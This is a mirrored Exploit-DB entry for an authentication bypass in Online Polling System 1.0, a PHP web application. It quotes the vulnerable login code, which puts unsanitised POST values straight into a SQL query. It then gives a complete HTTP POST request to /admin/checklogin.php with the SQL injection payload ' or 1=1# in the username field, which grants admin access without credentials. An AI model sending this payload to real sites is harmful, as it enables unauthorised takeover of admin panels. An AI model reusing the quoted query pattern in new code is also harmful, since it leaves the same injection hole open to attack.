Online Polling System 1.0 – Authentication Bypass - 体验盒子

作者： AppleBois

日期： 2020-07-15

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/48671/

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# Exploit Title: Online Polling System 1.0 - Authentication Bypass

# Date: 2020-07-20

# Author: AppleBois

# Version: NULL

# Software Link: https://www.sourcecodester.com/php/14330/online-polling-system.html

#

# Administration Control Panel || Authentication Bypass

# Unthenticated User perform SQL Injection bypass login mechanism on /admin/checklogin.php

#

######################################################################################

#Vulnerable Code

#

#$myusername=$_POST['myusername'];

#$mypassword=$_POST['mypassword'];

#$encrypted_mypassword=md5($mypassword);

#

#$result=mysqli_query($conn, "SELECT * FROM <code>tbadministrators</code> WHERE email='$myusername' and password='$encrypted_mypassword'");

#

#$count=mysqli_num_rows($result);

#

#if($count==1){

#

#$user = mysqli_fetch_assoc($result);

#$_SESSION['member_id'] = $user['member_id'];

#header("location:student.php");

#}

#

######################################################################################

POST /admin/checklogin.php HTTP/1.1

Host: 10.10.10.2:81

Content-Length: 53

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://10.10.10.2:81

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://10.10.10.2:81/online/index.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Cookie: ASP.NET_SessionId=vbrb31kd3s5hmz3uobg0smck; UserSettings=language=1; dnn_IsMobile=False; .ASPXANONYMOUS=VA9hDh-1Ldg0FPbBfd9HAWSTqKjasYcZMlHQnpPaoR5WQipK7Q_kKnAlAqfWp0WgtO8HXH2_Tsrhfh-Z7137cng_MeEp3aiMPswVEPZc-UOdZQTp0; __RequestVerificationToken_L0ROTg2=Js5PUWl0BiY3kJLdEPU2oEna_UsEFTrNQiGY986uBwWdRyVDxr2ItTPSUBd07QX6rRyfXQ2; USERNAME_CHANGED=; language=en-US; authentication=DNN; .DOTNETNUKE=CC547735526446773F995D833FACDA646745AE4409516EBF345F1AC725F7D7CE7BFC420BF5EFE9FE2AEC92B04C89CCD2E64C34BA4E195D7D8D6EED7892574DB3FF02599F; ICMSSESSION=mgnp26oubn7hfc590q6j5c9o70; PHPSESSID=1gpgmmltf6uk3ju3aakgd0s8m5

Connection: close

myusername=' or 1=1#&mypassword=ad&Submit=Login